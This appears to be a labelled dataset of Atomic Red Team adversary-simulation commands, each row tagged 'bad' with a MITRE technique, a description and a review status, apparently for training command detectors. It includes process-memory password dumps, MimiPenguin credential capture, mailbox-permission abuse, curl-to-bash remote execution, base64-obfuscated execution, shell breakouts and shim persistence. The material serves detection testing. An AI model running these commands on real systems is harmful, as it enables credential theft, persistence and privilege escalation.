7051cac3c1be3b25c1df9739,rm -f /tmp/art_payload.sh rm -f /tmp/art_encrypted.zip,rm -f /tmp/art_payload.sh rm -f /tmp/art_encrypted.zip,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1027.013/T1027.013.yaml,Password-Protected ZIP Payload Extraction and Execution,T1027.013,"[""T1027.013""]","linux,macos",0.55,True,"Extracts and executes a script from a password-protected ZIP archive.
This technique is commonly used by malware families like Emotet and QBot to deliver payloads
via email attachments where the password is provided in the message body.
The encrypted ZIP evades static file analysis until extracted at runtime.
Upon successful execution, displays confirmation and system information.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
593160951b5711671e97476f,"Import-Module ExchangeOnlineManagement $secure_pwd = ""#{password}"" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ""#{username}"", $secure_pwd Connect-ExchangeOnline -Credential $creds Add-MailboxPermission -Identity ""#{delegate_target}"" -User ""#{operator_mailbox}"" -AccessRights FullAccess -InheritanceType All Disconnect-ExchangeOnline -Confirm:$false","Import-Module ExchangeOnlineManagement $secure_pwd = ""#{password}"" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ""#{username}"", $secure_pwd Connect-ExchangeOnline -Credential $creds Add-MailboxPermission -Identity ""#{delegate_target}"" -User ""#{operator_mailbox}"" -AccessRights FullAccess -InheritanceType All Disconnect-ExchangeOnline -Confirm:$false",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1098.002/T1098.002.yaml,EXO - Full access mailbox permission granted to a user,T1098.002,"[""T1098.002""]",office-365,0.9,False,"Give a nominated user, full mailbox delegation access of another user.
This can be used by an adversary to maintain persistent access to a target's mailbox in M365.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
093b9621c8eb48b55e2a3f6b,"Import-Module ExchangeOnlineManagement $secure_pwd = ""#{password}"" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ""#{username}"", $secure_pwd Connect-ExchangeOnline -Credential $creds Remove-MailboxPermission -Identity ""#{delegate_target}"" -User ""#{operator_mailbox}"" -AccessRights FullAccess -InheritanceType All -Confirm:$false Disconnect-ExchangeOnline -Confirm:$false","Import-Module ExchangeOnlineManagement $secure_pwd = ""#{password}"" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList ""#{username}"", $secure_pwd Connect-ExchangeOnline -Credential $creds Remove-MailboxPermission -Identity ""#{delegate_target}"" -User ""#{operator_mailbox}"" -AccessRights FullAccess -InheritanceType All -Confirm:$false Disconnect-ExchangeOnline -Confirm:$false",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1098.002/T1098.002.yaml,EXO - Full access mailbox permission granted to a user,T1098.002,"[""T1098.002""]",office-365,0.55,True,"Give a nominated user, full mailbox delegation access of another user.
This can be used by an adversary to maintain persistent access to a target's mailbox in M365.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1a407ce2dd1fcce7a17c031d,"sh #{script_path} PID=$(pgrep -n -f ""#{pid_term}"") HEAP_MEM=$(grep -E ""^[0-9a-f-]* r"" /proc/""$PID""/maps | grep heap | cut -d' ' -f 1) MEM_START=$(echo $((0x$(echo ""$HEAP_MEM"" | cut -d""-"" -f1)))) MEM_STOP=$(echo $((0x$(echo ""$HEAP_MEM"" | cut -d""-"" -f2)))) MEM_SIZE=$(echo $((0x$MEM_STOP-0x$MEM_START))) dd if=/proc/""${PID}""/mem of=""#{output_file}"" ibs=1 skip=""$MEM_START"" count=""$MEM_SIZE"" grep -i ""PASS"" ""#{output_file}""","sh #{script_path} PID=$(pgrep -n -f ""#{pid_term}"") HEAP_MEM=$(grep -E ""^[0-9a-f-]* r"" /proc/""$PID""/maps | grep heap | cut -d' ' -f 1) MEM_START=$(echo $((0x$(echo ""$HEAP_MEM"" | cut -d""-"" -f1)))) MEM_STOP=$(echo $((0x$(echo ""$HEAP_MEM"" | cut -d""-"" -f2)))) MEM_SIZE=$(echo $((0x$MEM_STOP-0x$MEM_START))) dd if=/proc/""${PID}""/mem of=""#{output_file}"" ibs=1 skip=""$MEM_START"" count=""$MEM_SIZE"" grep -i ""PASS"" ""#{output_file}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.007/T1003.007.yaml,Dump individual process memory with sh (Local),T1003.007,"[""T1003.007""]",linux,0.9,False,"Using `/proc/$PID/mem`, where $PID is the target process ID, use shell utilities to
copy process memory to an external file so it can be searched or exfiltrated later.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d91cde23bf0e2d89dc97ca7c,"rm -f ""#{output_file}""","rm -f ""#{output_file}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.007/T1003.007.yaml,Dump individual process memory with sh (Local),T1003.007,"[""T1003.007""]",linux,0.55,True,"Using `/proc/$PID/mem`, where $PID is the target process ID, use shell utilities to
copy process memory to an external file so it can be searched or exfiltrated later.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4f8c07d95b4009594565d4ba,"sh #{script_path} PID=$(pgrep -n -f ""#{pid_term}"") MEM_START=$(head -n 5 /proc/""${PID}""/map | tail -1 | cut -d' ' -f1) MEM_STOP=$(head -n 5 /proc/""${PID}""/map | tail -1 | cut -d' ' -f2) MEM_SIZE=$(echo $(($MEM_STOP-$MEM_START))) dd if=/proc/""${PID}""/mem of=""#{output_file}"" ibs=1 skip=""$MEM_START"" count=""$MEM_SIZE"" strings ""#{output_file}"" | grep -i PASS","sh #{script_path} PID=$(pgrep -n -f ""#{pid_term}"") MEM_START=$(head -n 5 /proc/""${PID}""/map | tail -1 | cut -d' ' -f1) MEM_STOP=$(head -n 5 /proc/""${PID}""/map | tail -1 | cut -d' ' -f2) MEM_SIZE=$(echo $(($MEM_STOP-$MEM_START))) dd if=/proc/""${PID}""/mem of=""#{output_file}"" ibs=1 skip=""$MEM_START"" count=""$MEM_SIZE"" strings ""#{output_file}"" | grep -i PASS",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.007/T1003.007.yaml,Dump individual process memory with sh on FreeBSD (Local),T1003.007,"[""T1003.007""]",linux,0.9,False,"Using `/proc/$PID/mem`, where $PID is the target process ID, use shell utilities to
copy process memory to an external file so it can be searched or exfiltrated later.
On FreeBSD procfs must be mounted.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
047c1416ec887215a5cbb40d,"sh #{script_path} PID=$(pgrep -n -f ""#{pid_term}"") PYTHON=$(which python || which python3 || which python2) $PYTHON #{python_script} $PID #{output_file} grep -i ""PASS"" ""#{output_file}""","sh #{script_path} PID=$(pgrep -n -f ""#{pid_term}"") PYTHON=$(which python || which python3 || which python2) $PYTHON #{python_script} $PID #{output_file} grep -i ""PASS"" ""#{output_file}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.007/T1003.007.yaml,Dump individual process memory with Python (Local),T1003.007,"[""T1003.007""]",linux,0.9,False,"Using `/proc/$PID/mem`, where $PID is the target process ID, use a Python script to
copy a process's heap memory to an external file so it can be searched or exfiltrated later.
On FreeBSD procfs must be mounted.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8152a6c1824ff2faeb31eccc,sudo #{MimiPenguin_Location} > #{output_file} cat #{output_file},sudo #{MimiPenguin_Location} > #{output_file} cat #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.007/T1003.007.yaml,Capture Passwords with MimiPenguin,T1003.007,"[""T1003.007""]",linux,0.9,False,"MimiPenguin is a tool inspired by MimiKatz that targets Linux systems affected by CVE-2018-20781 (Ubuntu-based distros and certain versions of GNOME Keyring). 
Upon successful execution on an affected system, MimiPenguin will retrieve passwords from memory and output them to a specified file. 
See https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20781. 
See https://www.tecmint.com/mimipenguin-hack-login-passwords-of-linux-users/#:~:text=Mimipenguin%20is%20a%20free%20and,tested%20on%20vari",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
17028f661efdb4fdb769f344,rm -f #{output_file} > /dev/null,rm -f #{output_file} > /dev/null,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.007/T1003.007.yaml,Capture Passwords with MimiPenguin,T1003.007,"[""T1003.007""]",linux,0.55,True,"MimiPenguin is a tool inspired by MimiKatz that targets Linux systems affected by CVE-2018-20781 (Ubuntu-based distros and certain versions of GNOME Keyring). 
Upon successful execution on an affected system, MimiPenguin will retrieve passwords from memory and output them to a specified file. 
See https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20781. 
See https://www.tecmint.com/mimipenguin-hack-login-passwords-of-linux-users/#:~:text=Mimipenguin%20is%20a%20free%20and,tested%20on%20vari",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b2ebbb75b8701d81c71b7b81,"sh -c ""echo 'echo Hello from the Atomic Red Team' > #{script_path}"" sh -c ""echo 'ping -c 4 #{host}' >> #{script_path}"" chmod +x #{script_path} sh #{script_path}","sh -c ""echo 'echo Hello from the Atomic Red Team' > #{script_path}"" sh -c ""echo 'ping -c 4 #{host}' >> #{script_path}"" chmod +x #{script_path} sh #{script_path}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.004/T1059.004.yaml,Create and Execute Bash Shell Script,T1059.004,"[""T1059.004""]","linux,macos",0.9,False,"Creates and executes a simple sh script.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
89d06ec3ac8a3100072d7dee,rm #{script_path},rm #{script_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.004/T1059.004.yaml,Create and Execute Bash Shell Script,T1059.004,"[""T1059.004""]","linux,macos",0.55,True,"Creates and executes a simple sh script.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
60f5457cc4a786e136cbf59d,curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash,curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.004/T1059.004.yaml,Command-Line Interface,T1059.004,"[""T1059.004""]","linux,macos",0.9,False,"Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server.

Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bf34542252434dd8baf6ffde,rm /tmp/art-fish.txt,rm /tmp/art-fish.txt,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.004/T1059.004.yaml,Command-Line Interface,T1059.004,"[""T1059.004""]","linux,macos",0.55,True,"Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server.

Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
00559217c2578c57571f2dfe,chmod +x #{autosuid} bash #{autosuid},chmod +x #{autosuid} bash #{autosuid},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.004/T1059.004.yaml,Harvest SUID executable files,T1059.004,"[""T1059.004""]",linux,0.9,False,"AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a4ec6a1798638b1e9bcb2de1,rm -rf #{autosuid},rm -rf #{autosuid},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.004/T1059.004.yaml,Harvest SUID executable files,T1059.004,"[""T1059.004""]",linux,0.55,True,"AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1972fdf5820842b0156fdfb3,chmod +x #{linenum} bash #{linenum},chmod +x #{linenum} bash #{linenum},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.004/T1059.004.yaml,LinEnum tool execution,T1059.004,"[""T1059.004""]",linux,0.9,False,"LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6ce16e4fdf0822fe8ba49011,rm -rf #{linenum},rm -rf #{linenum},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.004/T1059.004.yaml,LinEnum tool execution,T1059.004,"[""T1059.004""]",linux,0.55,True,"LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4cc0c2c8e6cb2fd1fb45cf16,"TMPFILE=$(mktemp) echo ""id"" > $TMPFILE bash $TMPFILE","TMPFILE=$(mktemp) echo ""id"" > $TMPFILE bash $TMPFILE",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.004/T1059.004.yaml,New script file in the tmp directory,T1059.004,"[""T1059.004""]",linux,0.9,False,"An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which results in the id command being executed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b4db4c749fa632efb601e8e1,rm $TMPFILE unset TMPFILE,rm $TMPFILE unset TMPFILE,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.004/T1059.004.yaml,New script file in the tmp directory,T1059.004,"[""T1059.004""]",linux,0.55,True,"An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which results in the id command being executed.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d98743497d930b4ad5ab273c,"echo $0 if $(env |grep ""SHELL"" >/dev/null); then env |grep ""SHELL""; fi if $(printenv SHELL >/dev/null); then printenv SHELL; fi","echo $0 if $(env |grep ""SHELL"" >/dev/null); then env |grep ""SHELL""; fi if $(printenv SHELL >/dev/null); then printenv SHELL; fi",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.004/T1059.004.yaml,What shell is running,T1059.004,"[""T1059.004""]",linux,0.9,False,"An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
aaf1717cce14346ae06bfb56,cat /etc/shells,cat /etc/shells,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.004/T1059.004.yaml,What shells are available,T1059.004,"[""T1059.004""]",linux,0.9,False,"An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
af2d03abfcad932e253ee889,"for i in $(seq 1 5); do echo ""$i, Atomic Red Team was here!""; sleep 1; done","for i in $(seq 1 5); do echo ""$i, Atomic Red Team was here!""; sleep 1; done",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.004/T1059.004.yaml,Command line scripts,T1059.004,"[""T1059.004""]",linux,0.9,False,"An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4f58079fb3a2f62fb15b7585,"[ ""$(uname)"" = 'FreeBSD' ] && encodecmd=""b64encode -r -"" && decodecmd=""b64decode -r"" || encodecmd=""base64 -w 0"" && decodecmd=""base64 -d"" ART=$(echo -n ""id"" | $encodecmd) echo ""\$ART=$ART"" echo -n ""$ART"" | $decodecmd |/bin/bash unset ART","[ ""$(uname)"" = 'FreeBSD' ] && encodecmd=""b64encode -r -"" && decodecmd=""b64decode -r"" || encodecmd=""base64 -w 0"" && decodecmd=""base64 -d"" ART=$(echo -n ""id"" | $encodecmd) echo ""\$ART=$ART"" echo -n ""$ART"" | $decodecmd |/bin/bash unset ART",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.004/T1059.004.yaml,Obfuscated command line scripts,T1059.004,"[""T1059.004""]",linux,0.9,False,"An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to bash, which results in the id command being executed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
96f25f43b52cdd7d00a48d46,"[ ""$(uname)"" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art cat /etc/passwd |grep ^art chsh -s /bin/sh art cat /etc/passwd |grep ^art","[ ""$(uname)"" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art cat /etc/passwd |grep ^art chsh -s /bin/sh art cat /etc/passwd |grep ^art",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.004/T1059.004.yaml,Change login shell,T1059.004,"[""T1059.004""]",linux,0.9,False,"An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bb8a638edf58c37ced6ba615,"[ ""$(uname)"" = 'FreeBSD' ] && rmuser -y art || userdel art","[ ""$(uname)"" = 'FreeBSD' ] && rmuser -y art || userdel art",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.004/T1059.004.yaml,Change login shell,T1059.004,"[""T1059.004""]",linux,0.55,True,"An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
37c33c3c0dc2a6548514f981,"export ART='echo ""Atomic Red Team was here... T1059.004""' echo $ART |/bin/sh","export ART='echo ""Atomic Red Team was here... T1059.004""' echo $ART |/bin/sh",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.004/T1059.004.yaml,Environment variable scripts,T1059.004,"[""T1059.004""]",linux,0.9,False,"An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
483609852ff62e16f3eb1bda,unset ART,unset ART,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.004/T1059.004.yaml,Environment variable scripts,T1059.004,"[""T1059.004""]",linux,0.55,True,"An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
06f6f484957e08ec67d2e03f,cd /tmp curl -s #{remote_url} |bash ls -la /tmp/art.txt,cd /tmp curl -s #{remote_url} |bash ls -la /tmp/art.txt,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.004/T1059.004.yaml,Detecting pipe-to-shell,T1059.004,"[""T1059.004""]",linux,0.9,False,"An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage of this BLIND install method and selectively running extra commands in the install script for those who DO pipe to bash and not for those who DO NOT. This test uses curl to download the pipe-to-shell.sh script, the first ti",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d2d1ac38fddda83515ccbcfe,rm /tmp/art.txt,rm /tmp/art.txt,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.004/T1059.004.yaml,Detecting pipe-to-shell,T1059.004,"[""T1059.004""]",linux,0.55,True,"An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage of this BLIND install method and selectively running extra commands in the install script for those who DO pipe to bash and not for those who DO NOT. This test uses curl to download the pipe-to-shell.sh script, the first ti",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6f02fe940c8d0f231903e348,uname -srm,uname -srm,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.004/T1059.004.yaml,Current kernel information enumeration,T1059.004,"[""T1059.004""]",linux,0.9,False,"An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b117faab8903a4f58f9d7fed,"awk 'BEGIN {system(""/bin/sh &"")}'","awk 'BEGIN {system(""/bin/sh &"")}'",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.004/T1059.004.yaml,Shell Creation using awk command,T1059.004,"[""T1059.004""]","linux,macos",0.9,False,"In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command.
Reference - https://gtfobins.github.io/gtfobins/awk/#shell",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ff9b9bf2b10b39ec696e97fa,"echo '! exec ""/bin/sh &""' | PERL_MM_USE_DEFAULT=1 cpan","echo '! exec ""/bin/sh &""' | PERL_MM_USE_DEFAULT=1 cpan",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.004/T1059.004.yaml,Creating shell using cpan command,T1059.004,"[""T1059.004""]","linux,macos",0.9,False,"cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell.
Reference - https://gtfobins.github.io/gtfobins/cpan/",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1ba95f897c0d0e5a961a6520,busybox sh &,busybox sh &,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.004/T1059.004.yaml,Shell Creation using busybox command,T1059.004,"[""T1059.004""]",linux,0.9,False,"BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. 
Reference - https://gtfobins.github.io/gtfobins/busybox/",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6cfa5741883756c1d66fe3a0,"sudo emacs -Q -nw --eval '(term ""/bin/sh &"")'","sudo emacs -Q -nw --eval '(term ""/bin/sh &"")'",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.004/T1059.004.yaml,emacs spawning an interactive system shell,T1059.004,"[""T1059.004""]","linux,macos",0.9,False,"emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/  
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f06cc424984c11ed339777da,"sdbinst.exe ""#{file_path}""","sdbinst.exe ""#{file_path}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.011/T1546.011.yaml,Application Shim Installation,T1546.011,"[""T1546.011""]",windows,0.9,False,"Install a shim database. This technique is used for privilege escalation and bypassing user access control.
Upon execution, ""Installation of AtomicShim complete."" will be displayed. To verify the shim behavior, run 
the AtomicTest.exe from the <PathToAtomicsFolder>\\T1546.011\\bin directory. You should see a message box appear
with ""Atomic Shim DLL Test!"" as defined in the AtomicTest.dll. To better understand what is happening, review
the source code files is the <PathToAtomicsFolder>\\T1546.011",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4a08dd9cadd1cb20d24121d8,"sdbinst.exe -u ""#{file_path}"" >nul 2>&1","sdbinst.exe -u ""#{file_path}"" >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.011/T1546.011.yaml,Application Shim Installation,T1546.011,"[""T1546.011""]",windows,0.55,True,"Install a shim database. This technique is used for privilege escalation and bypassing user access control.
Upon execution, ""Installation of AtomicShim complete."" will be displayed. To verify the shim behavior, run 
the AtomicTest.exe from the <PathToAtomicsFolder>\\T1546.011\\bin directory. You should see a message box appear
with ""Atomic Shim DLL Test!"" as defined in the AtomicTest.dll. To better understand what is happening, review
the source code files is the <PathToAtomicsFolder>\\T1546.011",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
18bfe28e72a8e68c3b42fce3,"Copy-Item ""$PathToAtomicsFolder\T1546.011\bin\T1546.011CompatDatabase.sdb"" C:\Windows\apppatch\Custom\T1546.011CompatDatabase.sdb Copy-Item ""$PathToAtomicsFolder\T1546.011\bin\T1546.011CompatDatabase.sdb"" C:\Windows\apppatch\Custom\Custom64\T1546.011CompatDatabase.sdb","Copy-Item ""$PathToAtomicsFolder\T1546.011\bin\T1546.011CompatDatabase.sdb"" C:\Windows\apppatch\Custom\T1546.011CompatDatabase.sdb Copy-Item ""$PathToAtomicsFolder\T1546.011\bin\T1546.011CompatDatabase.sdb"" C:\Windows\apppatch\Custom\Custom64\T1546.011CompatDatabase.sdb",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.011/T1546.011.yaml,New shim database files created in the default shim database directory,T1546.011,"[""T1546.011""]",windows,0.9,False,"Upon execution, check the ""C:\Windows\apppatch\Custom\"" folder for the new shim database

https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
404e66572f7c7823302361fb,Remove-Item C:\Windows\apppatch\Custom\T1546.011CompatDatabase.sdb -ErrorAction Ignore Remove-Item C:\Windows\apppatch\Custom\Custom64\T1546.011CompatDatabase.sdb -ErrorAction Ignore,Remove-Item C:\Windows\apppatch\Custom\T1546.011CompatDatabase.sdb -ErrorAction Ignore Remove-Item C:\Windows\apppatch\Custom\Custom64\T1546.011CompatDatabase.sdb -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.011/T1546.011.yaml,New shim database files created in the default shim database directory,T1546.011,"[""T1546.011""]",windows,0.55,True,"Upon execution, check the ""C:\Windows\apppatch\Custom\"" folder for the new shim database

https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bee4436abffaebae7621448c,"New-ItemProperty -Path HKLM:""\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom"" -Name ""AtomicRedTeamT1546.011"" -Value ""AtomicRedTeamT1546.011"" New-ItemProperty -Path HKLM:""\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB"" -Name ""AtomicRedTeamT1546.011"" -Value ""AtomicRedTeamT1546.011""","New-ItemProperty -Path HKLM:""\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom"" -Name ""AtomicRedTeamT1546.011"" -Value ""AtomicRedTeamT1546.011"" New-ItemProperty -Path HKLM:""\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB"" -Name ""AtomicRedTeamT1546.011"" -Value ""AtomicRedTeamT1546.011""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.011/T1546.011.yaml,Registry key creation and/or modification events for SDB,T1546.011,"[""T1546.011""]",windows,0.9,False,"Create registry keys in locations where fin7 typically places SDB patches. Upon execution, output will be displayed describing
the registry keys that were created. These keys can also be viewed using the Registry Editor.

https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
